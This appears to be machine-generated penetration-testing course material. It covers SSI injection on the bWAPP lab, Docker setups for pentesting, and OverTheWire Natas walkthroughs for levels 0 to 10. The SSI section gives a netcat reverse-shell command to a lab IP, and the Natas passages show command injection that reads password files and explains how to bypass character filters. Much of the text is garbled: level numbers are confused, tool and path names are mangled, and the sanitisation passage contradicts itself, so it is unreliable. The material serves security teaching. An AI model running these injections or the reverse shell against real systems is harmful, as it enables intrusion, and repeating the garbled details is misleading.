Server-Side Include (SSI) injection is a type of web attack that targets web applications using the SSI scripting language. SSI is supported by Apache engines and Microsoft IIS web servers. It is commonly used to save time when developing web apps with dynamic content.

SSI allows web developers to include dynamic content, such as logos and headers, in multiple web pages using an include directive. This directive is one of the various SSI directives available. Other directives include the execute directive, which allows the execution of system-level commands.

When performing SSI injection, it is important to analyze the web page for any vulnerabilities. One way to do this is by inspecting the page source code and looking for SSI usage. The syntax for including SSI in input fields is similar to an HTML comment, starting with "<!--" and ending with "-->". The include directive, denoted by the "#" symbol, is commonly used in SSI injection attacks.

The include directive allows the content of one document to be translated into another. The parameter for this directive specifies the file to be included. On the other hand, the exec directive is used to execute system-level commands. It is denoted by the "exec" keyword, followed by the parameter value.

By exploiting SSI injection vulnerabilities, an attacker can execute arbitrary commands on the server, potentially gaining unauthorized access or causing other malicious activities.

SSI injection is a dangerous web attack that targets web applications using the SSI scripting language. It allows for the inclusion of dynamic content and the execution of system-level commands. Web developers should be aware of the potential vulnerabilities associated with SSI injection and implement proper security measures to mitigate the risk.

Server-Side Include (SSI) injection is a vulnerability that allows for the exploitation of web applications by injecting scripts into HTML pages or executing arbitrary code remotely. This can be achieved through the manipulation of SSI in the application or by forcing it to use user input fields.

To target a web application for SSI injection, the first step is to analyze the application and check if it properly validates the input fields by testing the characters used in SSI directives. The characters that are limited or specified for SSI directives include the less than sign, exclamation mark, hash, equal to sign, forward slash, full stop, quotation marks, hyphen, and greater than sign.

In this case, we are targeting a web application with low-level security. We can execute commands using SSI and even system-level commands. For example, by setting the "cmd" parameter to a Linux command like "who am i", we can print the current user on the server. This vulnerability exists because the security level is set to low.

To exploit this vulnerability, we can also generate a reverse shell. This can be achieved by leveraging Netcat. We can open a terminal, set up Netcat to listen on a specific port, and then use SSI injection to execute the necessary commands to establish a reverse shell connection.

It is important to note that the specific commands and techniques may vary depending on the server's operating system. For example, on a Windows server, the commands would be different.

SSI injection is a vulnerability that allows for the injection of scripts or execution of arbitrary code in a web application. By manipulating SSI directives and input fields, an attacker can exploit this vulnerability. It is crucial for web applications to properly validate input fields and limit the characters used in SSI directives to prevent such attacks.

In this didactic material, we will discuss Server-Side Include (SSI) injection, a web attack practice in the field of cybersecurity. SSI injection involves exploiting vulnerabilities in web applications that use SSI directives to dynamically include external content in web pages. By injecting malicious code into these directives, an

attacker can execute arbitrary commands on the server and gain unauthorized access.

To demonstrate SSI injection, we will use bWAPP, a deliberately vulnerable web application designed for educational purposes. We will focus on three levels of security: low, medium, and high.

In the low-security level, the web application does not properly validate input fields and does not check for certain characters used in SSI directives. To perform SSI injection, we can use a netcat command to establish a reverse shell connection with the server. By executing the command "netcat -nv 192.168.1.101 1234 -e /bin/bash", we can see that we successfully establish a reverse connection and gain control over the target server.

Moving on to the medium-security level, the web application now sanitizes or validates certain input fields and restricts the use of specific characters in SSI directives. However, by researching and experimenting, we can identify which characters are being sanitized. For example, double quotation marks may be removed by the web application. By modifying our injection command to remove the quotation marks, we can still execute the SSI command and retrieve the desired data.

Finally, in the high-security level, we are encouraged to explore and test the web application's input field validation thoroughly. By experimenting with different SSI commands and syntax, we can identify which characters or commands are being stopped by the server. This allows us to understand the limitations and security measures implemented in real-world web applications.

It is important to note that SSI injection is a serious security vulnerability that can lead to unauthorized access and potential data breaches. Web developers and cybersecurity professionals should be aware of this threat and implement proper input validation and sanitization techniques to mitigate the risk.

SSI injection is a web attack technique that exploits vulnerabilities in web applications using SSI directives. By injecting malicious code, an attacker can execute arbitrary commands on the server. Through the demonstration on bWAPP at different security levels, we have shown how SSI injection can be performed and the importance of proper input validation in web application development.

EITC/IS/WAPT WEB APPLICATIONS PENETRATION TESTING DIDACTIC MATERIALS
LESSON: PENTESTING IN DOCKER
TOPIC: DOCKER FOR PENTESTING

Docker for Penetration Testing and Bug Bounty Hunting

Docker is a powerful technology that can greatly aid in penetration testing and bug bounty hunting. It allows for the efficient setup of environments, easy access to the required tools, and provides a platform for education, learning, and practice.

In essence, Docker enables the building and deployment of applications and services in the form of containers. These containers contain all the necessary dependencies and libraries for the application or service to run. This eliminates the need for manual installation of dependencies, making the setup process much simpler.

Developers can use Docker to create Docker images, which can then be turned into Docker containers. These containers can be run on any operating system that supports Docker, without the need for the end user to worry about installing dependencies or setting up the application.

Compared to traditional virtual machines, Docker containers are more efficient as they utilize the host operating system. Once the Docker image and environment are set up by the developer, the end user simply needs to download and install Docker, and then download the image. This makes the process much quicker and easier.

In terms of infrastructure, Docker differs from virtual machines. In a Docker setup, you have the hardware layer, the host operating system (usually Linux), the Docker daemon, and the containers. Unlike virtual machines, Docker containers do not require the installation of guest operating systems, as they utilize the host operating system kernel.

Here is a simplified example of the Docker infrastructure compared to a virtual machine setup:

Docker Infrastructure:
- Hardware layer (laptop, desktop, server)
- Host operating system (Linux)
- Docker daemon
- Containers

Virtual Machine Infrastructure:
- Hardware layer (laptop, desktop, server)
- Host operating system (Linux or Windows)
- Virtual machine hypervisor
- Guest operating systems
- Containers within the guest operating systems

As you can see, Docker eliminates the need for installing guest operating systems, making it more efficient and lightweight.

Docker is a fantastic technology for penetration testing and bug bounty hunting. It simplifies the setup process, provides easy access to tools, and offers a platform for learning and practicing with vulnerable web applications and other environments.

Docker is a powerful tool that allows for the creation and deployment of lightweight containers. Unlike traditional virtual machines, Docker containers do not require a separate operating system or kernel. Instead, they leverage the host operating system's kernel, resulting in lower resource utilization.

In a typical hypervisor or virtual machine setup, you would have a host operating system and a hypervisor running on top of it. Each virtual machine would then require its own guest operating system to be installed. This means that for every virtual machine, you would need to install the necessary operating system and its associated dependencies.

Docker solves this problem by providing a way to package applications and their dependencies into a single image. This image can then be used to create containers that can be run on any environment with Docker installed. This makes it much easier to deploy applications, as the developer can create a Docker image that sets up the environment exactly as required. The image can then be passed on to the operations team, who can run it with a single command on any environment that supports Docker.

One of the advantages of using Docker for penetration testing and bug bounty hunting is its multi-platform support. With Docker, you can design a toolkit or system of tools and run it on Windows, Linux, and macOS simply by installing Docker on each host. This eliminates the need for separate setups on different operating systems.

There are already containerized offensive distributions available, such as Kali and Parrot. These distributions, along with containerized vulnerable web applications like OWASP Juice Shop, provide a solid foundation for pen testing and bug bounty hunting. Additionally, there are pen testing and bug bounty toolkits available that can be easily deployed using Docker.

Using Docker for pen testing and bug bounty hunting is also more efficient than running a virtual machine. Docker containers are smaller in size compared to virtual machine images, making them quicker to download. Containers can also be launched much faster than virtual machines, and the overall performance and reliability of Docker are superior.

In the next part of this material, we will explore how to set up Docker and take a closer look at the various tools available for pen testing and bug bounty hunting. By the end, you will understand the advantages of using Docker in these contexts.

Docker for Pentesting

Docker is a platform that allows the creation and management of containers. In the context of penetration testing, Docker can be a valuable tool for setting up and running various pen testing images and tools. In this didactic material, we will explore the installation process of Docker, as well as the concepts of images and containers.

To install Docker, you can head over to docs.docker.com and find the installation instructions for Windows, Mac, and Linux. If you are using an Arch-based distribution or Arch Linux itself, you can use the AUR (Arch User Repository) to install Docker. For Ubuntu or Debian, you can use the aptitude package manager or the convenience script provided in the Docker documentation.

Once Docker is installed, you can check the version by typing "docker version" in the terminal. It is important to ensure that you have the latest version installed.

Docker should be treated as a daemon or a service, meaning that you need to enable and start it whenever you want to use it. To enable Docker to run on startup, you can use the systemd system control command. For example, you can run "sudo systemctl enable docker" to enable Docker as a service. To start the Docker service, you can use "sudo systemctl start docker".

Now let's discuss the concepts of images and containers in Docker. An image is similar to an ISO file - it is a snapshot of a preconfigured environment that can be used to create containers. Images are downloaded and used to create running containers. To list all the Docker images you have, you can use the command "sudo docker images". It is worth noting that root privileges are required to execute this command.

To download a Docker image, you can visit the Docker Hub, which is a repository of various images. For example, if you search for "ubuntu", you will find the official Ubuntu Docker image. To download this image, you can use the "docker pull" command followed by the repository name. For instance, "docker pull ubuntu" will download the Ubuntu image.

Docker is a powerful tool for pentesting, allowing the easy setup and management of pen testing images and tools. Understanding the installation process, as well as the concepts of images and containers, is essential for utilizing Docker effectively in the field of cybersecurity.

To perform web application penetration testing, it is important to have a controlled and isolated environment. Docker provides a convenient solution for setting up and managing containers, which can be used for pentesting purposes. In this didactic material, we will discuss how to use Docker for pentesting and demonstrate the process step by step.

First, let's start by understanding how to download and manage Docker images. Docker images are the building blocks of containers. To download an image, we use the "docker pull" command followed by the image name or tag. By default, Docker will download the latest version of the image. However, if you want to specify a specific version, you can use a colon and specify the version number. For example, "docker pull ubuntu:18.04" will download the Ubuntu 18.04 image. It is important to note that different tags represent different versions of the image.

Once the image is downloaded, we can view the list of available images using the "docker images" command. This command will display the image name, tag, creation date, and size. The size of the image is crucial as it determines the amount of disk space required.

To remove an image, we use the "docker rmi" command followed by the image name or image ID. It is recommended to use the image ID when working with multiple images to avoid any confusion. By removing an image, we free up disk space on our system.

Now, let's focus on pentesting options using Docker. One popular choice for pentesting is Kali Linux, a specialized Linux distribution for security testing. To use Kali Linux as a container, we can download the Kali Linux image using the "docker pull" command. Once the image is downloaded, we can run it as a container using the "docker run" command followed by the image name.

To view the currently running containers, we use the "docker ps" command. However, if there are no running containers, we can use the "docker ps -a" command to list all containers, including those in an exited state. This command provides information such as the container ID, command used to create it, status, ports, and names.

To customize the behavior of the Kali Linux container, we need to refer to the official Kali Linux Docker documentation. It is important to note that the default Kali Linux Docker image does not come with pre-installed tools. Instead, we need to manually install the desired tools within the container.

Docker provides a flexible and efficient way to set up and manage containers for web application penetration testing. By following the steps outlined in this didactic material, you can download, manage, and run Docker images for pentesting purposes. Remember to refer to official documentation for specific customization options.

To perform web application penetration testing using Docker, it is important to understand how to start, stop, and remove Docker containers.

To start a Docker container, the command "docker container start" is used, followed by the container ID. Once the container is started, it will go into an exited state if no further instructions are given. To remove a container, it is necessary to first stop it using the "docker stop" command, specifying either the container ID or the name. After stopping the container, the "docker remove" command can be used to delete it. It is important to note that containers should always be stopped before being removed.

To view the status of containers, the command "docker ps" can be used. This command will display information about active containers, including their creation time and current status. If a container has been removed, it will not be listed when running the "docker ps" command.

To launch a specific container, such as Kali Linux, the command "docker run" is used. This command allows for the specification of a name for the container, as well as the use of an interactive terminal. The repository or image name is also specified, followed by the desired command or program to be executed within the container. For example, to run the bash shell within a Kali Linux container, the command "docker run -it kali bash" can be used.

Once inside the container, it is possible to execute various commands. For example, the "cat" command can be used to display the contents of a file, such as the "/etc/issue" file. Additionally, it is possible to check the version of the operating system running within the container by using the "cat /etc/issue" command.

When working with Docker, it is important to note that the kernel version within the container will match the host operating system. This means that if the host operating system has a specific kernel version, the same version will be used within the container.

It is worth mentioning that some Docker images, such as Kali Linux and Parrot OS, only provide base images with repositories, expecting users to install the desired tools themselves. This can be counterintuitive for users who expect certain tools to be pre-installed. However, it is possible to create custom Docker images that include the desired tools for penetration testing.

Docker is a powerful tool for web application penetration testing. By understanding how to start, stop, and remove containers, as well as how to launch specific images and execute commands within them, security professionals can effectively utilize Docker for their testing needs.

In the field of cybersecurity, web application penetration testing plays a crucial role in identifying vulnerabilities and ensuring the security of web applications. One approach to conducting such tests is through the use of Docker, a popular containerization platform.

Docker allows for the creation and management of lightweight, isolated containers that can be easily deployed and scaled. This makes it an ideal tool for setting up and conducting penetration testing on web applications. By utilizing Docker, testers can create an environment that closely resembles the production environment, ensuring accurate and reliable results.

One notable example of a web application that can be used for penetration testing is the Juice Shop. Developed by Kimik Kimnich, the Juice Shop is a purposely vulnerable web application that allows testers to simulate real-world attack scenarios. It is highly regarded for its comprehensive documentation and ease of use.

To begin using the Juice Shop, testers can pull the pre-built Docker image from the Docker Hub. This image is approximately 280 megabytes in size and contains all the necessary components to run the Juice Shop. Once the image is downloaded, testers can verify its presence by listing the Docker images.

Running the Juice Shop is straightforward and can be done by following the provided documentation. The "docker run" command is used, with the "-p" option to map the required ports. In this case, the service runs on port 3000, which is mapped to the same port on the host operating system. This allows for local access to the Juice Shop through localhost on port 3000.

Testers have the option to run the Juice Shop in a detached state, denoted by the "-d" flag. This allows the container to run in the background while the tester continues their work. Once the Juice Shop is running, it can be accessed by entering "127.0.0.1:3000" in a web browser.

Terminating the Juice Shop container is as simple as pressing "Ctrl+C" in the terminal. The container is automatically cleaned up thanks to the use of the "rm" flag during the container creation process.

It's worth noting that Docker containers are isolated from the host system, ensuring that any changes made during testing do not affect the underlying infrastructure. This allows testers to experiment and perform tests without the risk of compromising the host system.

Docker provides a powerful and efficient platform for conducting web application penetration testing. The use of Docker containers, such as the Juice Shop, allows testers to create realistic testing environments and easily manage the testing process. By leveraging Docker, cybersecurity professionals can enhance their penetration testing capabilities and ensure the security of web applications.

The Bug Bounty Toolkit is a comprehensive tool kit and Docker file that allows users to set up and install various bug bounty tools. This multi-platform toolkit can be installed on Debian or Ubuntu, or set up using Docker. The installation script is currently compatible with Debian or Ubuntu and installs a range of tools, including Nmap, Masscan, DNSenum, DNSrecon, MassDNS, Sublister, S3 Bucketeers, Recon-ng, SQLMap, Nikto, and Waffle, among others. The toolkit also includes Set Lists, which contributes to its larger image size.

To access the Bug Bounty Toolkit, users can download the Docker image from the creator's Docker Hub page.

The latest version of the image is approximately 1.2 gigabytes or 2 gigabytes in size. The Docker image can be pulled and set up using the provided documentation. The creator is actively working on adding more tools to the toolkit, such as Aquatone, Go, and Past Bucket Finder.

For users who prefer customization, the Dockerfile is also available for download. This allows users to build their own image from the toolkit. The advantage of using a well-built image is demonstrated by the ease of accessing and using the tools. By running the Docker image and entering an interactive terminal, users can access all the installed tools. Examples of tools that can be used out of the box include Nmap, Masscan, DNSenum, DNSrecon, AltDNS, Sublister, Derb, Gobuster, Bucketeers, Recon-ng, SQLMap, Waffle, Comics, XSStrike, and Hydra.

All the tools are located within the user's home directory under the "toolkit" directory. The toolkit is compatible with both Ubuntu and Windows systems, providing users with flexibility in their choice of operating system. The creator recommends using Docker to set up the toolkit, as it simplifies the installation process. However, an installer script is also available for Ubuntu and Debian systems.

The Bug Bounty Toolkit is continuously being improved, with the creator open to suggestions and feedback. The goal is to create an all-in-one image for bug bounty hunting, making it more convenient and efficient for users. The creator plans to develop a separate image specifically for penetration testing. The links to the Docker image and other resources can be found in the description section of the material.

EITC/IS/WAPT WEB APPLICATIONS PENETRATION TESTING DIDACTIC MATERIALS
LESSON: PENTESTING IN DOCKER
TOPIC: DOCKER FOR PENTESTING ON WINDOWS

To run Docker on Windows and specifically set up containers for pentesting, there are several prerequisites that need to be met. First and foremost, you need to have either Windows 10 or Windows Server 2016 installed. The specific version required depends on the edition you are running, with Windows 10 Pro or Windows 10 Enterprise being the recommended ones. The same may apply to Windows Server, possibly the Standard edition.

Docker on Windows utilizes Hyper-V, which is Microsoft's native hypervisor. Hyper-V is not pre-installed and needs to be enabled manually. To enable Hyper-V, you should go to the Control Panel, then to "Uninstall Programs" or "Turn Windows Features On or Off". In this section, you will find Hyper-V, which needs to be checked and enabled. After confirming the changes and restarting your system, Hyper-V will be set up.

It is important to note that Hyper-V cannot work in conjunction with VirtualBox, so if you have Hyper-V enabled, VirtualBox will not function. Once Hyper-V is set up, Docker will automatically install itself as it requires Hyper-V for virtualization.

To install Docker on Windows, you can go to the Docker website (docs.docker.com) and download Docker for Desktop. It is important to choose the Docker for Desktop version and not the Docker Enterprise Edition, as the latter is intended for enterprise use. After signing in or creating an account, the setup process is straightforward and will prompt you to begin installing Docker. If Hyper-V is disabled, the setup will ask if you want to enable it. After installation, your system will need to be restarted, and Docker will be ready to use.

Once Docker is installed, you can find the Docker icon in your taskbar. Clicking on it will give you options such as restarting the daemon, accessing documentation, and accessing the Docker Hub. You can also switch to Windows containers, which allows you to work with Windows-specific containers. However, this topic may require separate coverage, as there are fewer Windows containers available compared to Linux containers.

To set up Docker for pentesting on Windows, you need to have the appropriate version of Windows (Windows 10 Pro or Windows 10 Enterprise), enable Hyper-V manually, and install Docker for Desktop from the Docker website. Once installed, Docker can be accessed through the Docker icon in the taskbar, allowing you to manage and work with containers.

In order to set up Docker for penetration testing on Windows, there are a few configurations that need to be made. Firstly, you can specify which local drives you want to make available to your containers. By default, the shared drives include the drive where Windows is installed (usually the C drive).

In the advanced settings, you can limit the resources available to the Docker engine. This includes specifying the number of CPUs, amount of RAM, swap space, and the location of the disk image. The disk image location is typically set to the program data folder under Docker Desktop. You can also specify the size of the disk image or the partition where the images will be stored.

The network settings allow you to configure the subnet and subnet mask. This is important when working with networking. You can also specify a DNS server and configure proxies if needed.

The Docker daemon can be configured with various options, but this is beyond the scope of this material. You can also reset the Docker daemon if needed.

Now, let's understand how Docker works on Windows and how it virtualizes Linux so that you can run Linux containers.

On Linux, you have the host operating system (e.g., Ubuntu) running the kernel version (e.g., 18.04 standard LTS). Docker is installed on the host operating system, and then you can run containers on top of it. These containers can be running different applications or services, such as Apache, MySQL, Alpine, or Fedora. The key concept here is that the containers utilize the host operating system's kernel. This means that all the containers run on the same kernel, resulting in lower utilization of system resources.

In contrast, a typical hypervisor setup involves installing an operating system on a virtual machine (VM), and then running the desired service on top of it. This approach adds more layers and increases the utilization of system resources.

On Windows, the setup is slightly different. You have the host operating system (e.g., Windows 10 or Server 2016) running Docker. However, Docker on Windows utilizes Hyper-V, a virtualization technology, to run Linux containers. This means that the Linux containers run on a virtualized environment within Windows.

By understanding the differences between how Docker works on Linux and Windows, you can make informed decisions when setting up Docker for penetration testing on Windows.

Docker for Pentesting on Windows

In the realm of cybersecurity, web application penetration testing plays a crucial role in identifying vulnerabilities and ensuring the security of web applications. One popular tool used for this purpose is Docker, which allows for the creation and management of containers.

When it comes to using Docker for pentesting on Windows, there are a few key considerations. Firstly, it's important to note that Docker on Windows utilizes Hyper-V for virtualization, specifically for Linux containers. This differs from using Docker on Windows to host Windows containers. With Hyper-V, the Linux layer is virtualized, providing a more efficient and effective environment for running Linux containers.

Within the Hyper-V environment, various Linux containers can be utilized, such as Ubuntu, Fedora, Alpine, and Nginx. These containers are compatible with a specific kernel version, such as 5.3. This means that applications designed for this kernel version, like Ubuntu or Fedora, can be run within the containers.

One notable difference between running Docker on Windows compared to Linux is the higher utilization of resources due to the additional layers involved. These layers include Docker, the Hyper-V virtualization of Linux, and the containers themselves. However, this additional resource consumption has not been found to significantly impact overall performance.

It's important to highlight that the infrastructure for running Linux containers on Windows is relatively straightforward. Docker utilizes the hypervised Linux layer to enable the functionality of these containers. However, the process changes when running Windows containers on Windows with Docker.

To gain a practical understanding of Docker on Windows for pentesting purposes, it's essential to have Docker installed. Once installed, the commands used for Docker on Windows are similar to those used on Linux, but executed through PowerShell. Docker Desktop must be running before executing any commands.

Commands such as "docker ps" can be used to display running containers, while "docker images" provides information about available images. The bug bounty toolkit, which contains various tools including Go Buster, can be accessed through Docker. Images can be pulled from the Docker Hub using commands like "docker pull." Running containers can be initiated using "docker run" followed by the image name or ID.

Docker serves as a valuable tool for web application penetration testing on Windows. By leveraging Docker's capabilities, users can easily set up and manage containers for efficient and effective testing. Understanding the nuances and commands of Docker on Windows is essential for successfully conducting web application pentesting.

In this didactic material, we will discuss the topic of using Docker for penetration testing on Windows. Docker is a popular platform that allows users to package and distribute applications in a lightweight and portable manner. It provides a way to isolate applications and their dependencies, making it an ideal tool for penetration testers.

One of the advantages of using Docker for penetration testing is that it allows for easy setup and management of different tools and environments. With Docker, you can create containers that contain all the necessary tools and configurations for your testing needs. This eliminates the need to manually install and configure tools on your host machine, saving time and effort.

To get started with Docker for penetration testing on Windows, you will first need to install Docker Desktop. Docker Desktop is a tool that enables you to run Docker containers on your Windows machine. Once installed, you can launch Docker Desktop and start using Docker for your penetration testing activities.

Once Docker Desktop is installed and running, you can start creating and running containers for your penetration testing needs. Docker containers are created from Docker images, which are essentially blueprints for containers. These images can be obtained from Docker Hub, a repository of pre-built Docker images, or you can create your own custom images.

To create a container from an image, you can use the "docker run" command followed by the image name. For example, to run a container with the Nmap tool, you can use the command "docker run nmap". This will create a new container with Nmap installed and ready to use.

You can also run multiple containers simultaneously for different tasks. This allows you to have different tools and environments running side by side. For example, you can have a container running a web proxy tool like Burp Suite or ZAP, and another container running Nmap for network scanning.

It is important to note that Docker containers are ephemeral, meaning that they do not persist data by default. This means that any changes made inside a container will not be saved unless explicitly specified. If you need to save data or configuration changes, you can use Docker volumes or bind mounts to persist data between container runs.

In addition to the pre-built tools available on Docker Hub, you can also create your own custom images. This allows you to include specific tools or configurations that are not available in the pre-built images. Creating custom images involves writing a Dockerfile, which is a text file that contains instructions for building an image. Once the Dockerfile is created, you can use the "docker build" command to build the image.

Docker is a powerful tool for penetration testers, providing an efficient and portable way to manage and run different tools and environments. With Docker, you can easily create and run containers for your testing needs, saving time and effort. Whether you are performing a bug bounty or a web assessment, Docker can be a valuable asset in your penetration testing toolkit.

EITC/IS/WAPT WEB APPLICATIONS PENETRATION TESTING DIDACTIC MATERIALS
LESSON: OVERTHEWIRE NATAS
TOPIC: OVERTHEWIRE NATAS WALKTHROUGH - LEVEL 0-4

Welcome to the didactic material on Web Applications Penetration Testing using OverTheWire Natas. In this material, we will explore the walkthrough for levels 0 to 4 of the OverTheWire Natas challenges.

OverTheWire Natas is a series of web application security challenges that focus on teaching the basics of server-side web security. It covers various aspects of web application security, such as command injection and server vulnerabilities.

For this walkthrough, we will be using OWASP ZAP as our proxy tool. OWASP ZAP is a free and open-source software that is comparable to Burp Suite, which is commonly used in web application testing.

Each level of Natas consists of its own website, and the URL for each level is provided. There is no SSH login required to access a level, as we will primarily be dealing with web applications. Each level has a username and password, and the goal is to obtain the password for the next level.

The passwords for each level are stored in the directory "/etc/natas_webpass/natasX", where X is the level number. The password for level X is only readable by level X-1.

Level 0 is a basic level where we are provided with a username and password in the URL. Upon accessing the level, we find a simple webpage with a navigation bar and a container mentioning that the password for the next level can be found on this page. By viewing the source of the page, we discover a JavaScript variable that gives us the level number and the password for that level. We also find a comment that provides the password for level 1.

Level 1 introduces a restriction on right-clicking. However, we discover that we can still right-click in a specific area of the webpage, allowing us to view the source code and find the password for level 2.

Level 2 appears to have nothing on the page, but by inspecting the source code, we find an image tag that is not visible on the page. This hidden image contains the password for level 3.

So far, the challenges have been relatively simple, but they serve as a good introduction to web application security. As we progress through the levels, the challenges will become more complex and require a deeper understanding of web security concepts.

In the next part of this series, we will continue with levels 3 and 4 of OverTheWire Natas. Stay tuned for more exciting challenges and solutions!

In this didactic material, we will explore the topic of web application penetration testing using the OverTheWire Natas platform. Specifically, we will focus on levels 0 to 4 of the Natas challenges.

Level 0 introduces us to a web page that contains an image file called "pixel.png." Clicking on the image reveals a single pixel, which is not visible on the webpage. Upon further investigation, we discover that the image is located in a directory called "file." We attempt to access this directory and successfully gain access. Additionally, we observe that the server is running Apache 2.4.10 on a Debian server, which is standard information.

Moving on to level 1, we navigate back to the home page by going to the parent directory. We then explore the "users.txt" file, which provides us with usernames and passwords for other users, as well as a password for Natas level 3. We keep this webpage open for future reference.

Continuing to level 3, we enter the provided password and find that there is no visible content on the page. To gather more information, we view the page source and notice a comment suggesting that we check the "robots.txt" file. The "robots.txt" file reveals a directory called "secret." We attempt to access this directory and find a "users.txt" file. Clicking on it provides us with the password for level 4.

Transitioning to level 4, we enter the password and encounter a message stating that access is disallowed unless the user is visiting from a specific URL. By examining the page source, we confirm this requirement. To bypass this restriction, we change the referrer in the GET request from Natas 4 to Natas 5. Refreshing the page confirms that we have successfully gained access.

To further assist us in our penetration testing, we decide to use a proxy tool called ZAP. We install the FoxyProxy plugin for Mozilla Firefox and configure ZAP as our proxy. We also generate a certificate authority for ZAP, which we can import into Firefox for secure communication.

Levels 0 to 4 of the OverTheWire Natas challenges have provided us with valuable insights into web application penetration testing. We have learned how to access directories, analyze page source code, and bypass access restrictions. Additionally, we have explored the use of a proxy tool like ZAP to enhance our testing capabilities.

To begin with, we encountered an issue where we were prompted to view a certificate. After reinstalling, we imported the OS Zap certificates and trusted the certificate. We then disabled the proxy and reloaded the page using OS Zap. The password for the level was "natas4". We sent the request and analyzed the response code, which was 200. By using OS Zap, we were able to see the actual request, including the referrer, cookie, and authorization. It was noticed that the unauthorized request did not have the authorization flag or any username/password parameters, but it had a base64 code. We decoded the base64 code and found the username and password, which were "natas4".

To intercept requests, we set a breakpoint on all requests and reloaded the page. We examined the latest request and changed the referrer to "natas5". By sending the modified request, we obtained the password for "natas5". We repeated this process for subsequent levels.

In order to navigate the levels more efficiently, we closed the request editor and disabled the proxy. We then reloaded the page for "natas5" and received an "access disallowed" message, indicating an authentication vulnerability.

We successfully completed level 5 and identified an authentication vulnerability. We will continue sorting the videos based on the vulnerabilities they cover and aim to keep them concise for more effective coverage.

EITC/IS/WAPT WEB APPLICATIONS PENETRATION TESTING DIDACTIC MATERIALS
LESSON: OVERTHEWIRE NATAS
TOPIC: OVERTHEWIRE NATAS WALKTHROUGH - LEVEL 5-10 - LFI AND COMMAND INJECTION

In this didactic material, we will continue our walkthrough of the OverTheWire Natas web application penetration testing series, specifically focusing on levels 5 to 10. In level 5, we encounter a generic page that informs us that access is disallowed and that we are not logged in. By viewing the page's source code, we find a JavaScript variable that is supposed to give us the password if needed. To analyze the requests, we refresh the page and use a proxy to inspect the results. The authorization and base64 code are standard, containing the username and password. Upon further inspection of the source code, we notice an injected script. We attempt to access other pages like robots.txt but are still denied access. However, by changing the "logged in" status to 1 in the request, we successfully retrieve the password for level 6.

Moving on to level 6, we encounter an HTTP page with a text box for input. When submitting a query, we receive a message stating "wrong secret." By viewing the source code, we learn that the script includes a directory called "includes" with a file named "secret.inc." The script checks if the secret variable matches the post request, and if so, grants access and displays the password. We try accessing the directory but find nothing. However, by copying the secret variable from the source code and submitting it, we successfully obtain the password for level 7.

In level 7, we are presented with a navigation menu containing links to the home and about pages. The home page provides a hint that the password for level 8 can be found in the file "etsy/natives/web/pass/native8." We explore the about page but find nothing relevant. By accessing the mentioned file, we discover the password for level 8.

In this lesson, we will explore the concepts of Local File Inclusion (LFI) and command injection in web applications. We will use the OverTheWire Natas web application and walkthrough levels 5 to 10 to demonstrate these vulnerabilities.

Level 5 introduces us to LFI. In this level, we are provided with a URL that contains a PHP script. The script has a page selector parameter, and by default, it is set to "about". However, we can manipulate this parameter to execute commands and potentially exploit the application.

To test for LFI, we can try to include a local file on the server. By appending the file path to the URL, we can see if the server includes the file in the response. In this case, the level provides us with the directory path for the password of the next level.

LFI occurs when an application includes files based on user input without proper sanitization. If an attacker is able to manipulate the input parameter and force the script to directly include arbitrary files, they can access sensitive information on the server.

To exploit LFI, we can append the directory path to the URL and execute the request. If successful, the response will contain the contents of the included file. In this case, we can retrieve the password for the next level.

Moving on to level 8, we encounter another input field. By inspecting the source code of the page, we find a variable called "encoded secret" and a function called "encode secret". The function performs a series of encoding and reversing operations on the input to generate the encoded secret value.

To reverse engineer the encoded secret, we can use tools like CyberChef. By applying the reverse operations in reverse order, we can decode the secret and obtain its original value. Once we have the decoded secret, we can submit it in the input field to gain access to the next level.

The OverTheWire Natas walkthrough levels 5 to 10 demonstrate the vulnerabilities of Local File Inclusion (LFI) and command injection in web applications. LFI allows attackers to include local files on the server by manipulating input parameters, potentially accessing sensitive information. Command injection vulnerabilities can be exploited by injecting malicious commands into user input fields, leading to unauthorized access or remote code execution.

To solve level 5 of the OverTheWire Natas challenge, we need to understand how to reverse engineer a function and perform base64 decoding. In this level, we are given a string that needs to be reversed. We copy the string, reverse it, and submit it. This grants us access to the password for level 9.

Moving on to level 9, we encounter a search box with a search button. Upon inspecting the source code, we find a variable called "key" that currently has no value. We notice that the code checks if the array key "needle" exists in the request. If it does, it compares the key value with the value of the request needle. If they are not equal, it uses the "grep" function to search for the key or any input that is not equal to the value of the key in a dictionary.txt file.

We can exploit this by performing Local File Inclusion (LFI) and Command Injection. We try inputting "hc latest" but it doesn't give any results, indicating some form of filtering. We then attempt command injection by searching for "id" and "ls". The latter command gives us the dictionary.txt file, indicating successful command injection.

To retrieve the password, we use the command "cat /etc/natas_webpass/natas10" and it provides us with the password for level 10.

In level 10, we encounter similar filtering. Upon inspecting the source code, we find an if statement that checks if the key is not equal to its value. Additionally, it uses a regular expression (preg_match) to filter certain special characters.

To bypass this, we can refer to a cheat sheet on command injection and use the same approach as before. By inputting "ls", we get the matching results from the dictionary. Inspecting the source code, we find a list of special characters that are being filtered. By using the cheat sheet, we can bypass this filtering and perform command injection.

Now that we have the password for level 10, we can proceed to the next level.

In this didactic material, we will discuss the concepts of Local File Inclusion (LFI) and Command Injection in the context of web application penetration testing. We will specifically focus on levels 5 to 10 of the OverTheWire Natas challenge. LFI and command injection are both common vulnerabilities that can be exploited by attackers to gain unauthorized access or execute arbitrary commands on a web server.

To begin, let's explore the concept of Command Injection. Command Injection occurs when an attacker is able to inject malicious commands into a vulnerable web application, which are then executed by the server. This can lead to various consequences, such as unauthorized data disclosure, server compromise, or even complete system takeover.

In the transcript, the speaker mentions searching for an OS command injection cheat sheet. A cheat sheet is a useful resource that provides a list of special characters or sequences that can be used to exploit command injection vulnerabilities. By understanding which characters are blocked or sanitized by the application, an attacker can find ways to bypass these defenses and execute arbitrary commands.

The speaker mentions that certain characters, such as forward slashes, the ampersand symbol, and semicolons, cannot be used in the injection payload. This indicates that the application is sanitizing these characters to prevent command injection attacks. However, the speaker also finds a character sequence that can be used to display values. They then proceed to test this sequence by injecting it into a parameter called "needle" in the URL.

Upon executing the injection payload, the speaker receives a response indicating that the input contains an illegal character, specifically a semicolon. This confirms that the application is properly sanitizing the input and preventing command injection. Additionally, the speaker mentions that the password for level 11 of the Natas challenge is immediately displayed, indicating a successful exploitation of the vulnerability.

Moving on, the speaker briefly mentions that level 11 of the Natas challenge involves dealing with cookies. Although not elaborated upon in the transcript, it is important to note that cookies can also be a potential attack vector, allowing attackers to manipulate session data or perform session hijacking.

